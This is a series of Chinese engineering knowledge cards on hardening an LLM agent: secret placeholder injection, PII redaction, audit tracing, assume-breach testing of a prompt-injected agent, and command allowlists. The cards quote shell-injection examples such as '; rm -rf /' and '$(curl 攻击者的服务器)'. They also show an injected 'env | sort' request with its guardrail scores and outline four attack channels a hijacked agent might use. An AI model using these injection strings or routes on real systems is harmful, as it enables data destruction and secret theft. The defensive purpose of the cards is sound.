解决什么问题:给转发类代理补上「边收边发」的能力。做法是配一对异步组件:FastAPI(基于 asyncio——Python 的异步执行模型——的 Web 框架)的 StreamingResponse 接收一个异步生成器并把响应体流式发出,httpx(Python 的异步 HTTP 客户端库)用 `send(stream=True)` 拿到上游响应后逐块产出字节。选 `upstream_resp.aiter_raw()` 而非 `aiter_bytes()` 是官方给出的理由:前者产出未经内容解码的原始字节,httpx 不做 gzip/deflate/brotli/zstd 解压,可以字节级原样转发;后者拿到的是已解压内容,必须同步改写 Content-Encoding 与 Content-Length 才不出错。

我们的办法:转发收尾必须在 `finally` 里 `await upstream_resp.aclose()` 关掉上游连接,否则连接池泄漏。不透传的头分两层:一层是 host / content-length / authorization 这样的端到端头(end-to-end headers——从客户端到源服务器全程有效的头),代理不是照搬而是改写——长度由 httpx 重算、授权头由代理注入;另一层是 Connection、Transfer-Encoding、Upgrade 等逐跳头(hop-by-hop headers——RFC 9110 定义,只在相邻两跳之间有意义),转发前按 RFC 9110 应当剔除;其中 Connection 头列出的字段则必须剔除。实测经代理转发的打字机效果与直连无异。

0023 凭证代理 fetch 路 —— 知识卡片

占位符最后一刻注入(placeholder injection / last responsible moment)

是什么:最后一刻注入指请求里只写占位符、真密钥拖到请求即将发出的那一刻才由中间层替换进去,对应业界的 secret injection / just-in-time injection。典型如 Vault Agent 在消费点把动态密钥注入应用,以及动态密钥(dynamic secrets,按需签发、消费者消亡即失效)。「最后一刻」借自精益开发的 last responsible moment,其原始定义是「决策延迟的成本开始超过收益的那一刻」,用在密钥上即把凭证复用面压到最小(OWASP:动态密钥应尽量使用,以缩小凭证被复用的面)。真密钥只在即将出网的那一条请求里存在,替换完随请求走,不进环境变量、不进文件、也不进模型上下文。

解决什么问题:LLM 的密钥撤出 Agent 进程后,「密钥随请求出网」这条路还开着:模型只要在工具参数里写出真值(比如从上下文里骗到的 token),请求就会原样把它发出去;反过来,模型其实永远不需要见到真值。实测链路:模型生成 `http_post("https://httpbin.org/post", "token={{SECRET:DEMO_API_KEY}}")`,抓取工具把占位符换成真值后发出,远端回显 `{"form": {"token": "demo-sk-1234..."}}`。真值确实到了远端,而 Agent 进程的环境、内存、对话上下文里自始至终只有占位符。

我们的办法:替换点选在抓取工具的 server 进程而不是本地代理:抓取请求在一次性 microVM(短生命周期的微型虚拟机,请求即弃)里用 curl 发出,出网流量到不了宿主机上的代理,而策略表与出网白名单恰好同住这一层。真值用一条子进程命令从 macOS 的系统密钥库 Keychain 现取(如 `security find-generic-password -s DEMO_API_KEY -w`),用完即弃,实测合法请求四秒内完成且回显真值。

密钥名值分离(secret name vs secret value)

是什么:密钥名值分离(指「用密钥的一方只持有名字、永不持有值」的权限拆分)把一件事拆给三个组件:模型负责「要用哪个密钥」——在参数里写名字如 `{{SECRET:DEMO_API_KEY}}`;策略表负责「给不给」——按域名查授权;Keychain 负责「值是什么」。这个拆分对应能力导向安全里的指称(designation)思想:对象能力(object capability)是一种不可伪造的引用,权威只能被「递到手里」。被骗的持有者最多交出它手里有的东西——模型被骗了也最多写出一个名字,而名字过不了策略表。IAM 语境里则是策略决策点(策略表)与策略执行点(抓取工具)的拆分。严格说这是能力与 ACL(访问控制表,按名字授权)的混合:策略表按域名授权,并非纯对象能力。

解决什么问题:它针对「藏密钥」思路的天花板:真值一旦塞进环境变量,Agent 的所有子进程都看得见,藏得再好也只是换了个暴露面;拆权限则让攻击者即使完全劫持模型,拿到的也只是一张待审批的申请单。它与『占位符最后一刻注入』(见前卡)是同一思想的两次落地——对象能力文献的主张是:把一次性特权推迟到将要使用它的时候才授予。实测合法占位符一路走到远端并回显真值,模型全程没接触过真值。

我们的办法:凭证策略表与出网白名单放在同一个文件、同一段检查序列里——域名能不能去(白名单)与去了能带什么(凭证表)连着查,形态如 `httpbin.org` 只许用 `DEMO_API_KEY`。实测合法占位符正常放行,未授权名直接被拒,不带占位符的普通请求不受影响。

授权先于取值(authorize before lookup)

是什么:取值前的授权检查是凭证分发里的顺序纪律:策略检查必须排在密钥库查询之前,未授权的名字连密钥库都不碰,直接拒绝。这类拒绝是 fail closed(默认拒绝——检查给不出确定结论就拒绝,宁可让合法请求失败也不放行可疑请求)。

解决什么问题:顺序换了就漏信息:若先查密钥库再判授权,调用方就能从报错差异反推出密钥库里到底存了哪些名字。这类泄露对应业界编号 CWE-204(Observable Response Discrepancy,可观察响应差异——不同的响应会暴露内部状态信息),官方缓解建议是避免不一致的提示意外向攻击者泄露内部状态;除此之外,拒绝消息对「不存在的名字」与「存在但未授权的名字」还必须同构,否则仍留半个预言机(oracle——靠观察响应差异推断内部信息的探测渠道)。实测未授权名 `{{SECRET:OTHER_KEY}}` 的返回是「密钥 OTHER_KEY 未授权给域名 `httpbin.org`(请求未发出)」——报出的名字与域名只是回显调用方的输入,不算响应差异;差异只可能出现在「名字不存在」与「存在但未授权」两种响应之间,本实现两者同构,且请求未发出、密钥库未被查询,风险可控。

我们的办法:把策略检查代码放在密钥库查询之前,一次拒绝同时守住「不出网」与「不泄露密钥库存」两件事;实测未授权名在请求发出前即被拒,合法请求不受影响。

子进程继承环境变量(child process environment inheritance)

是什么:子进程会默认整份继承父进程的环境变量。POSIX.1-2024 对 `exec` 族的规定是:`execl/execv/execl/execvp` 这些不带 `envp` 参数的形式,新进程的环境取自调用方的外部变量 `environ`——这就是子进程「默认整份继承」父环境的标准来源;而 `execve` 的环境完全由调用方传入的 `envp` 数组决定。也就是说,操作系统创建子进程时,把父进程的 `env`(进程可见的一组键值配置,形如 `KEY=value`)原样复制给它。这意味着环境变量天然就是跨进程的泄密通道——塞进 Agent 环境的任何「密钥」,它的每个子进程(包括抓取工具的 `server`)随手 `env` 一下就能看到。

解决什么问题:它解释了为什么「把密钥放回环境变量」不是凭证分发的合法落点。OWASP 明确提醒:环境变量一般对所有进程可读,还可能被带进日志或系统转储,因此不推荐用它存放密钥;12factor 推荐配置进环境变量与此并不矛盾——那是部署时注入配置的语境,不是长驻进程的密钥托管。抓取工具的 `server` 正是 Agent 的子进程,环境里的密钥等于重新放回攻击面,把 LLM 密钥撤出进程的努力就白做了;同理,任何能转储/导出环境的代码(dump 环境,注入得手后最便宜的一招)都能一次读走全部环境密钥。

我们的办法:密钥值的通道因此选系统密钥库现取:抓取工具的 `server` 在需要的那一刻用一条子进程命令向 `Keychain` 查询真值,值只活在即将发出的那条请求里,环境变量从头到尾只有占位符。即便确有必要给子进程传环境,也应按 POSIX 的 `execve` 接口用 `envp` 参数显式构造一份干净环境,而不是默认整份继承。

0024 Presidio 记忆落库脱敏 —— 知识卡片

Presidio 脱敏引擎(Microsoft Presidio:Analyzer + Anonymizer)

是什么:Presidio 是微软开源的 PII(Personally Identifiable Information,个人身份信息——手机号、邮箱、身份证号这类能定位到具体个人的数据)识别与匿名化引擎,分两段工作。Analyzer 负责"找":官方定义是"检测文本中 PII 实体的服务"——跑一组识别器(PII Recognizer),各用不同机制认一种或几种 PII,三路:命名实体识别(NER,统计模型认人名)、内建正则(格式固定的邮箱/卡号)、自定义正则。Anonymizer 负责"换":按操作符(operator)把每个命中换成指定值,默认 `replace`、默认值是 `<EMAIL_ADDRESS>` 这种实体类型占位符,原文换掉就没了。内置操作符有 `replace/redact`(抹掉)/`hash`(哈希)/`mask`(打码)/`encrypt`(加密)/`keep/custom` 七类常用项,另有专供 Azure 医疗场景的 `surrogate_aahds`。官方 `Deanonymizer`(还原器)内置的 `decrypt` 操作符,只能还原 Anonymizer 用 `encrypt` 加密的内容。另有 `ContextAwareEnhancer`(上下文增强器)用命中词周边的上下文词(如"手机号"三个字)抬高识别置信度。

解决什么问题:Agent 的长期记忆文件(`memory.json` 这类落盘 JSON)往往是全系统唯一真实持久化的数据资产。密钥撤走之后,用户随口说出的手机号邮箱仍会被 Agent 原样记进对话历史并写上磁盘,下次启动还会回灌进上下文。落盘前过一遍 Analyzer+Anonymizer,PII 就变成了占位符。

我们的办法:记忆写盘前先过一遍 Presidio。实测问"13800138000 加 1 等于几",模型答 `13800138000 + 1 = 13800138001`,退出落盘时 6 处数字被替换成 `<CN_PHONE>`,11 位原文 0 处残留。

出口消毒自造

是什么:出口消毒(sanitize at the persistence exit,自造词,官方没有对应概念)指脱敏检查只卡在"数据即将被持久化"的出口动作上,不碰对话过程。它对应数据安全的标准区分 data at rest(静态保存的数据)与 data in use(正在被使用的数据):当轮对话里模型该看到的照旧(上下文完整,属 data in use),落盘的才是消毒后的副本(属 data at rest)。管道形状是:进程退出时,记忆导出函数取到全部消息,先经脱敏函数处理,再写入磁盘;下次启动读回的历史是干净的。

解决什么问题:PII 本身不是攻击,拦在对话入口会误伤正常用户——实测输入侧的注入护栏自造连"请记住我的联系方式"这句无害请求都会误杀。该拦的不是"说",而是"敏感数据写盘"这个不可逆动作:脏数据落不了盘,就永远不会跨会话存活、跨会话回灌。

我们的对策:脱敏点选出口而不是入口,每条数据在被持久化前必过一道检查——实测一段混合中英文文本进去,邮箱/手机号/卡号/IP 全被换成占位符。入口护栏的误报与出口消毒的兜底各挡一头,两层防线互相补位正是纵深防御(defense in depth)的常态,不是设计失误。NIST 的完整定义是"整合人员、技术与运营能力,在组织多个层级间布设可変屏障的信息安全策略"。

中文 PII 自定义识别器(PatternRecognizer)

是什么:PatternRecognizer 是 Presidio 官方提供的自定义接口。官方口径:PatternRecognizer 支持基于正则或 deny-list(拒绝词表)的识别逻辑。一份 patterns(正则)或一份词表加一个实体类型名,就是一个新 PII 识别器。为什么必须自己写:Presidio 的 NER 模型与内建正则默认英文向,中国场景的高频 PII——手机号、身份证号——它认不出来。

解决什么问题:引入框架不等于覆盖需求;识别器清单就是治理清单——登记了哪些 PII 类型,决定了哪些数据会被脱敏,漏登记就漏保护。官方给的登记途径不止一条:一是经 RecognizerRegistry(识别器注册表)add_recognizer 后重建 AnalyzerEngine,或直接挂到现有 registry。二是单次请求临时挂 ad-hoc recognizer(临时识别器)。三是 YAML 文件批量加载(add_recognizers_from_yaml),这是"识别器清单就是治理清单"的官方实现。四是继承 EntityRecognizer 写带 validation(校验逻辑,如银行卡 Luhn 校验位,即模 10 加权校验算法)的子类。例如 11 位手机号配 `1[3-9]\d{9}` 号段正则,18 位身份证配出生日期加校验位的结构,识别后分别替换为 `<CN_PHONE>`、`<CN_ID>`。

我们的办法:给 Analyzer 注册手机号与身份证两个 PatternRecognizer,实测一段混合中英文文本里 13812345678 和 110101199003074258 都被识别替换;邮箱/卡号/IP 内建已覆盖,没有重复造轮子。

令牌化与格式保留加密(tokenization / FPE)

是什么:tokenization(令牌化)与 FPE(format-preserving encryption,格式保留加密)是"脱敏后仍可还原"的两个代表,但按 PCI(支付卡行业安全标准)的严格口径,tokenization 对云端与下游是不可逆的——还原只发生在本地金库、并非数学可逆。tokenization 把真值换成随机令牌(如 `T0K-7f3a`),"令牌→真值"的映射存进 token vault(令牌金库的官方术语),PCI 要求金库隔离部署、密钥独立管理。数据进金库即进信任边界(安全上划定的"数据可信范围",越界即回到不信任区域),金库只放本地信任域。FPE 是 NIST SP 800-38G 标准化的另一条路(FF1/FF3 两种模式,都建在标准对称分组密码上):用密钥直接把真值加密成同格式的密文——令牌长得像手机号,下游系统完全无感。两者还原机制不同:tokenization 靠查金库,FPE 靠密钥解密。

解决什么问题:与 Anonymizer 默认 replace 的不可逆脱敏相对——replace 换掉就没了,适合"落盘存档";生产中还有一类需求是"数据脱敏上云处理、响应再还原",只有这类"对下游不可逆、仅本地可还原"的方案能做。要点:泄露出去的只是令牌/密文,还原手段(金库、密钥)永不出本地;代价是云端推理全程在假数据上进行,依赖任务本身可令牌化。

数据流一例:13812345678 → tokenize 成 `T0K-7f3a` (映射进本地金库)→ 云端只见 `T0K-7f3a` → 响应引用令牌时本地 detokenize 还原为真值。

0025 OTel 审计字段 —— 知识卡片

审计五要素自造

是什么:审计五要素(audit five fields,自造的设计概念,官方无对应标准)是给 Agent 工具调用立的五个必答问题:谁(who)发起、何时(when)发生、以何理由(why)、调了什么工具带什么参数(params)、碰了什么数据(data_class)。五项里只有两项对得上 OTel(OpenTelemetry,CNCF 的开源可观测性标准)为 GenAI(Generative AI,生成式 AI)应用制定的语义约定(semantic conventions,状态 Development、规定 gen_ai.* 字段名的规范)——官方属

性: `gen_ai.tool.name` (工具名)与 `gen_ai.tool.call.arguments` (官方定义:"传给工具调用的参数")。官方明确警告后者 may contain sensitive information(可能含敏感信息),这正是 `params` 记录要过脱敏的动机。`who/when/why/data_class` 官方没有标准属性,属自定义扩展——放进自造的 `audit.*` 命名空间(namespace,字段前缀约定的归属空间)以便与 `gen_ai.*` 官方前缀区分开,再存进 Langfuse(LLM 应用的观测追踪平台)的 `metadata`。

解决什么问题:自动摄像头式的旁路观测记的是"模型看见了什么",回答不了追责问题:某次 `write_file` 是谁发起的?为什么这一轮会调它?碰的是用户文件还是沙箱内部?其中"以何理由"必须引用本轮用户消息原文,不能写"用户发起了请求"这类转述——倒查时人对的是原话。`data_class` 靠一张数据分级表当词典:每个工具登记碰的是什么数据,如 `read_file`=用户工作区文件(读)、`run_command`=一次性 `microVM`(独立内核的微型虚拟机)内部、`http_post`=出网请求(白名单域名);新工具进来必须先登记。

我们的办法:五字段写进每条工具调用观测的 `metadata`——标准两项用 `gen_ai.*` 原名,自定义三项用 `audit.*` 前缀,读的人一眼能分清哪些是标准、哪些是项目扩展。实测一次"看看 `workspace` 目录里有什么文件"的调用,逐项核对五字段全在案,如 `audit.why`=看看 `workspace` 目录里有什么文件(用户原话)与 `audit.params`={`"path": ...`}。

审计中间件旁路观测(audit middleware)

是什么:审计中间件指挂在工具调用包装层最外圈(`wrap_tool_call` 这类统一入口)的记录器:工具真实执行完,由它在旁路补记一条独立观测(形如 `audit:<工具名>`,类型标为 `tool`),业务工具代码零改动。"挂最外圈包一圈"在 AOP(Aspect-Oriented Programming,面向切面编程)里叫 `around advice`(环绕通知,把目标调用包在中间的拦截方式),`decorator`(装饰器)也是同一语义;独立观测的类型对应官方标准字段 `gen_ai.operation.name=execute_tool`(官方对"执行工具"操作的标准命名)。“旁路”是说工具本身不感知自己在被记录——记录不进工具的输入输出,只走观测通道。

解决什么问题:逐个改工具函数加审计代码,既侵入又必然漏——新工具一多总有人忘。这正是横切关注点(`cross-cutting concern`,Kiczales 等人经典论文中的定义:影响多个模块、却无法被封装进单一模块的程序侧面)的两大后果:`scattering`(散布:同一逻辑散落各处)与 `tangling`(缠绕:业务代码里混进无关逻辑)。挂在最外层则所有工具自动全覆盖;审计、限流、认证这类横切关注点全都长在这一层,安全里的拦截型检查(如输入护栏)与它挂在同一层。

我们的办法:工具执行后由中间件写一条带五要素的观测。实测模型调 `list_dir`,平台上出现 `audit:list_dir` (`type=TOOL`)这条独立观测,业务代码一行未动。

trace 壳归队自造

是什么:trace 壳归队指每轮对话开始先立一个占位根观测(壳),让后续模型生成、工具执行、审计观测都挂进同一条 `trace` 的做法。Langfuse(LLM 应用的观测追踪平台)会把收到的每条 `OTel`(OpenTelemetry,CNCF 的开源可观测性标准)`span`(一次有起止时间的操作区间)转成一条 `observation`(观测记录,官方口径 `converts into rich Langfuse observations`)。`OTel` 的规则链决定了谁是根:当前 `Context`(上下文)里没有 `Span` 时,新建 `Span` 就是根 `span(root span)`,且每个根 `span` 必须(MUST)生成新的 `TraceId`——新根就是一条新 `trace`,因此先立的壳就是本条 `trace` 的根。进程内的上下文传递由官方 `instrumentation`(埋点层)透明处理,跨进程才需按 W3C `traceparent`(跨服务传递 `trace` 上下文的标准 HTTP 头)显式注入/提取——壳一立,后续的模式生成、工具执行、审计观测自动归队。

解决什么问题:实测踩坑:没立壳时,审计观测落成了独立根观测——按上面的规则链,当前 `Context` 里没有壳,新建 `Span` 就当根、生成新 `TraceId`。UI 里它自然是单独一条 `trace`,与 `agent` 主 `trace` 割裂,复盘时同一次调用的两半对不上号。

我们的办法:每轮开始先建壳——用 `start_as_current_observation(name="cli-round", as_type="chain", metadata={when, why})`——再进 `ReAct`(模型边推理边调工具的循环)循环。实测壳一立,三类观测在同一 `trace` 里完整回放。

读 API 不水合(events-only 与读路径降级)

是什么:水合自造指观测平台把底层存储的原始数据装配成接口或界面可读详情的动作——写入明明成功、读接口却不回详情,就是"没水合"。官方机制是"写模式决定端点可用性":`events-only` 是 Langfuse 4.x 的默认写模式(环境变量 `LANGFUSE_MIGRATION_V4_WRITE_MODE`),只写新事件表、不再写旧表;官方说明旧读端点在此模式下不可用——

从"旧端点读的正是旧表"可推知 404 的原因,读要改走 Observations API v2(新版读接口)装配详情。官方原话点明:"The legacy and dual modes are migration utilities, not permanent operating modes"(旧模式只是迁移工具,不是长期运行模式)。结论:读路径降级是预期设计,不是写丢了。

解决什么问题:这是个容易误判成"审计没写进去"的陷阱:拿平台 API 验证写入,读不到就当丢了;实际存储里有,UI 是从底层装配后才可见的。旧读端点(traces/observations 这类 GET 接口)全部 404 属预期行为,连刚写入的探针观测都读不回来。

我们的办法:验证改走写端字节(见下一张卡的取证方法),或改用 Observations API v2 做读验证——不只字节取证一条路;并把"观测系统升级会动读路径"记成通用教训:平台读不到不等于没写上。

OTLP 字节级取证(byte-level verification via OTLP capture)

是什么:指把观测平台的接收地址指到本地收包器(一个本地自起的 HTTP 接收服务),直接检查客户端 SDK(Software Development Kit, 软件开发工具包)发出的原始字节。OTLP(OpenTelemetry Protocol)是 OTeI(OpenTelemetry,开源可观测性标准)定义的遥测上报协议:OTLP/HTTP 默认端口 4318,载荷是 Protobuf(二进制或 JSON 两种编码),且官方明确"OTLP/HTTP 与 OTLP/gRPC 的 Protobuf schema 相同"——字节是源头事实的标准化载体。"载荷里写了什么,发出去的就是什么"是项目经验推论,不是官方表述,但它是绕过平台读接口取证的前提。

为什么重要:它让"审计字段写没写上"从平台 API 的口说变得可证:读 API 会因写模式降级、不回传详情,但字节是 SDK 发出的源头数据;字节里五字段全在,等于证明客户端确实发出了这些字段。注意:Langfuse 只收 OTLP over HTTP(接收路径 `/api/public/otel` 下的 `/v1/traces`),不支持 gRPC——收包器必须用 HTTP transport,否则根本收不到。

我们怎么用:本地起一个 OTLP 收包器,把 `LANGFUSE_BASE_URL` 环境变量指过去跑一轮对话。在收到的载荷里逐字段核对审计五字段(`audit.*`,即"审计五要素"——卡定义的 `who/when/why/params/data_class`),全部在案。教训:审计的验证不能只依赖平台 API,能从发出的字节层面取证最稳。

0026 劫持无效化验收 —— 知识卡片

假设已失守验收(assume-breach acceptance)

是什么:「假设已失守」的验收思路指先承认最坏情况——模型已被提示注入(prompt injection,往模型读到的内容里塞恶意指令、诱骗它替攻击者执行)完全控制——再量化"劫持者到底能拿走什么"。它对应零信任(Zero Trust,Forrester 提出、NIST SP 800-207 形式化的架构)的出发点:假定攻击者已在环境里,口诀是 `never trust, always verify`(永不信任、始终验证)。真正的安全指标是失手之后的爆炸半径(blast radius,一次得手的攻击能波及的范围;行业惯用语,非正式标准术语)有多大。

为什么重要:它把"防住没有"这种非黑即白的问句,拆成四条可举证的收益通道——逃出去看宿主机 / 把数据送出网 / 拿到真密钥 / 干完不留痕。每条通道都要拿出实测证据,而不是"应该防住了"的口头担保。顺带一票:礼貌款(措辞礼貌的注入请求的简称)外泄还会被模型自己拒绝——模型本身也是一层(不可靠的)防线,验收时值得记上,但不能只靠它。

我们怎么用:对加固定型 Agent 连打四类主动攻击、逐项取证,总账是"劫持有效 / 收益为零 / 现场完整"。实测:白名单拒名单外请求只要 2—4 毫秒,正常请求(同批正常工具调用)约 2.4 秒,差三个数量级——拒绝先于虚拟机拉起。fail closed(故障即关门)是惯用语;NIST 沿用 Saltzer—Schroeder 的 fail-safe defaults(故障安全默认值):默认即无权限,故障时倾向拒绝而非放行——关门先于资源投入。

VM 内 root 不是入侵信号(root inside VM is not an intrusion signal)

是什么:这条监控判据说的是:在"一次性 microVM(带独立内核的微型虚拟机,用完即焚)+ 假设里面跑的一切恶意的架构下,虚拟机内部的 root(Linux 最高权限账号)行为不构成入侵信号。root 在里面本来就该满血;真正该触发告警的信号是出网行为,尤其是连向出网白名单之外目标的尝试。边界必须说清:这条判据只在"一次性 + 全按恶意对待 + 焚毁兜底"的架构下成立——在长生命周期容器上,容器里冒出终端 shell 往往就是入侵,同类检测反而是高价值信号。

解决什么问题:边界换了,告警规则也得跟着换。传统判表把"获得 root""改写系统目录"当入侵迹象;老规则在这种架构下只会满屏误报,把真信号淹没——运行时威胁检测引擎 Falco 的官方文档也提醒:默认规则只是起点,可用例外与定制规则适配自己的环境。

我们的对策:借鉴 Falco 默认规则的句式——告警条件描述行为而非描述身份,例如 "Terminal shell in container" 检测的就是"容器里出现终端 shell"这个动作而不是某个账号。这里把监控重心放到出网侧:权限异常只留痕不告警、名单外出网即告警,实测(该数据来自对照方案,非本架构的验收数据):root 操作畅通无阻而私网连接在网关处被直接拒绝。

可见面枚举法(visible-surface enumeration)

是什么:「可见面枚举」自造指验证"密钥不可见"这类断言的方法:把劫持者能看到的一切位置列成清单,逐一面拿出证据。这些位置包括进程环境、文件系统、工具的执行环境、持有真值的对照进程、密钥源头。它不信任单点检查——环境变量这一面尤其宽:OWASP(网页应用安全领域的开放知识库项目)密钥管理速查表提醒,环境变量对所有进程可见,还可能进日志或系统转储;其他渠道如子进程继承、崩溃转储、/proc(Linux 下暴露各进程信息的伪文件系统)也真实存在——所以只查配置文件远远不够,必须逐面枚举。

为什么重要:它把"密钥藏好了"从一句担保变成一条可回答的时间线——真密钥在什么时刻、进过谁的进程;这也与 OWASP 最小权限的立场一致("工程师不应能接触所有 secret")。逐面枚举还会逼你发现"根本不该出现的出现点"——任何一面漏答,整个结论就不成立。

我们怎么用:逐面取证——进程环境用 `ps -Eww` 查,零密钥;文件面全仓子串搜索,0 命中;工具执行环境(虚拟机内 `env`)只有 10 个良性变量;对照面(转发代理)真密钥在,且"只在"代理;源头:macOS 钥匙串 Keychain,126 字符随机串、唯一存放点。结论:真值只在分发瞬间进代理、拼进待发的 `curl` 命令行,从未进模型上下文 / Agent 进程 / 宿主文件 / 记忆文件(Agent 的长期记忆存储文件)。

被拦攻击也要留痕(logging blocked attacks)

是什么:这条审计纪律指:输入护栏(行业惯用语:挂在用户输入进入模型之前的自动拦截器,按意图给输入打分、拦下高分注入)拦下的攻击也要上报。上报形态是一条审计观测(即一条带级别、分数等字段的结构化审计记录)——级别 WARNING、附拦截打分。静默丢弃等于销毁证据:OWASP 日志速查表(Logging Cheat Sheet)的理由很直接——对有限合法值清单的校验失败"只可能是攻击活动",被拦注入正是这类事件。

为什么重要:不记被拦事件,安全系统对"有人来过但被拦了"完全失忆。复盘时只见岁月静好,看不出有人正在试探。更看不出攻击者正在换姿势重试。OWASP 还要求事件分类有统一且成文的口径(type / confidence / severity 三字段),拦截打分正对应其中的 confidence(置信度)字段。连防御链自己崩掉的那一轮也要以 ERROR 级留痕:监控系统不说谎,才配当审计。

我们的对策:被拦的每次注入上报一条 WARNING 观测并附分数,打分为 1.0/1.0/1.0/0.9/0.9——其中"用命令工具执行 `env | sort`"这条不带"忽略指令"字眼的话术也得了 0.9,说明分类器学的是意图形态而不是关键词。取舍:按意图打分也会误伤正常话术,OWASP 对告警泛滥(alarm fog,告警雾)的警告就是反面提醒——知道分类器的脾气比相信它全对重要。

压缩体透传缺头(compressed body passthrough without Content-Encoding)

是什么:这是一类代理转发缺陷:代理把上游返回的 gzip 压缩响应体按原始字节转给下游,却没有一并转发 Content-Encoding(HTTP 头,声明"body 用什么算法压缩")。按 HTTP 语义标准 RFC 9110 第 8.4 节,Content-Encoding 属于表示元数据(representation metadata,记录"这个表示被怎样编码过")——头和体共同构成一个完整表示,只转发体不转发头等于把表示拆散。下游拿到压缩字节却不知道要解压,读出来就是乱码。

解决什么问题:转发类代理容易只想"体"不想"头":实测踩坑正是用原始字节流(`aiter_raw`)转发了压缩体、却漏掉声明解压方式的头。httpx(Python 的 HTTP 客户端库)官方文档对两种 API 的区分正中此坑:`aiter_raw` 返回原始字节、不做 gzip/brotli 等内容解码,`aiter_bytes` 才返回已解码内容。另注:这是正确性缺陷而非攻击手法,在攻击手法知识库 MITRE ATT&CK 里没有对应条目。

我们的办法:把代理的转发从"原始字节"改成"已解压字节"(`aiter_bytes`),Content-Encoding 在代理侧消化掉,下游永远拿到可读明文体——取舍是放弃字节级原样,换来"下游不需要懂压缩"的单一语义。实测修正后响应恢复正常解析。

0027 进程级白名单对照microVM —— 知识卡片

进程级命令白名单(process-level command allowlist)

是什么:进程级白名单指模型给出的命令字符串只被"解析"、从不被执行的一道宿主侧检查(宿主指发起执行的宿主程序)。可执行程序名与脚本名必须都在枚举清单里,通过后由宿主代码拼出真正执行的 argv(实际传给操作系统的参数数组)。最紧的形态连参数个数都限死——只接受 `python <批准的脚本名>` 两个词,脚本名必须登记在清单内,不在清单里的名字一律拒绝。OWASP(开放全球应用安全项目)命令注入防御速查表把它归为 allowlist(白名单式输入校验),排序靠后:首选根本不执行 OS 命令(改用库函数),白名单是"必须执行时"最紧一道。

解决什么问题:模型生成的命令字符串不可信,可能夹带任意参数或额外命令;把"能跑什么"收进枚举清单,等于把开放的命令行缩成几个固定档位——攻击者即便完全劫持了模型,也只能在宿主预先批准的几个动作里挑。

我们的办法:一个教学参考项目(异步 Agent 运行时)的做法是判定与执行分离:判定函数用 `shlex.split` 解析命令字符串、核对清单,执行处用宿主拼装的 argv 发起子进程。注意 `shlex.split` 只复制 Unix shell 分词规则——变量替换 / 通配符 / 管道一概不展开、不报错,这是 shell 语义与分词器的差别——官方文档明确警告的只有一句:该模块仅为 Unix shell 设计,解析 ≠ 执行,分词不等于安全解释。

不经 shell 的子进程(shell=False direct exec)

是什么:指创建子进程时跳过 shell 解释器(负责解释命令语法的程序,如 `/bin/sh`)、把参数数组直接交给操作系统执行的做法,即 `shell=False`。分号、管道符、反引号、`$()`、通配符这些只在 shell 语法里有意义的字符,此时全部退化成普通文本参数——shell 注入面因此不是"被过滤掉",而是物理上不存在。Python 官方文档的安全注意事项(Security Considerations)是这句话的背书:该库"不会隐式选择调用系统 shell",包括元字符在内的所有字符都能安全传给子进程。

解决什么问题:对照形态是 `shell=True`:整条命令字符串交给解释器,管道、命令替换等语法会被真的展开,模型字符串里藏一段 `; rm -rf /` 或 `$(curl 攻击者的服务器)` 就能附加执行任意命令。诚实边界:Windows 上 `.bat / .cmd` 批处理文件无论参数如何都可能被操作系统经系统 shell 启动(Python 官方文档明说),所以"命令解释层彻底删掉"只在 macOS / Linux 上成立。

我们的办法:参考实现用 `asyncio.create_subprocess_exec(*argv, ...)` (argv 即传给操作系统的参数数组,exec 形态、跳过 shell)执行宿主拼装好的参数数组,并把子进程的 stdin 接到 `DEVNULL`(即特殊文件 `os.devnull`——读不到任何输入)。在 macOS / Linux 上,"命令解释"这一整层就此从攻击面里删掉。

Python 隔离启动开关(python -I isolated mode)

是什么:Python 的隔离模式(isolated mode,即 `python -I` 启动开关)指解释器启动时切断"来自环境的配置注入"的运行方式。官方把 `-I` 分解成三个开关:`-E` 忽略 `PYTHONPATH` 等全部 `PYTHON*` 环境变量;`-s` 不加载用户 `site-packages`(用户级第三方包目录);`-P` (Python 3.11+ 才有)把脚本所在目录从模块搜索路径 `sys.path` 里排除。

解决什么问题:白名单与跳过 shell 两道检查过关后,还剩解释器自己的配置面可做手脚。攻击者只要能在环境里塞一个 `PYTHONPATH`,或往脚本同目录放一个与标准库同名的模块文件,被批准的脚本一 `import` 就会加载到恶意代码——`-P` 连同目录这条暗道也堵上。隔离开关把这层"连解释器都会被骗"的口子掐掉。

我们的办法:参考实现执行被批准脚本时固定加 `-I` (另配 `-u` 关闭输出缓冲)——白名单管"跑什么",隔离开关管"解释器信谁的配置",两层拼成一组;还可在程序里读 `sys.flags.isolated` 自检是否真在隔离模式。

执行完整性回执(execution integrity receipt)

是什么:执行完整性回执 自造指每次执行都用 SHA-256(SHA-2 家族的密码学哈希函数,把任意内容压成固定长度的单向指纹;美国联邦标准 FIPS 180-4 规定的算法之一)把"到底跑了什么"记档的做法。被批准脚本、输入文件、argv(传给操作系统的参数数组)三样的哈希全部写进一条回执记录;复盘时重算哈希一比,即可证明"审计里写的命令"与"实际执行的字节"一致。

解决什么问题:审计日志记的是文本参数,理论上可能与真实执行有出入、也可能被篡改;哈希回执给复盘一个可验证的锚点——对不上,就说明记录与执行之间被动过手脚。思路与 MITRE ATT&CK(公开的攻击手法知识库)里 Audit 这条缓解措施的官方表述同向:完整性校验应与"已知有效状态"的哈希比对——这里把"已知有效状态"换成执行瞬间的

argv 与输入字节。

我们的办法:参考实现把三样哈希记进回执;对自家的启示是给任意命令的审计观测补记一条命令串的 SHA-256——虚拟机一次性场景下意义减弱(里面的代码本就不受信),但成本低、复盘价值高,已记入后续加固待办。

能跑什么与能去哪(what runs vs where it can reach)

是什么:这是一套把隔离思路二分的提法 自造:进程级白名单管「能跑什么」——把可执行动作收进枚举清单(即 OWASP 命令注入防御里的 allowlist,白名单);虚拟机级隔离管「跑的地方能碰到什么」——出网域名白名单加上一一次性 microVM(带独立内核的微型虚拟机,用完即焚)。两道检查管的对象不同,是正交的(互不重叠、各管一面)两层、不是竞争方案——OWASP 的命令注入防御清单没把虚拟机隔离列进防御层,可作两层正交的旁证。

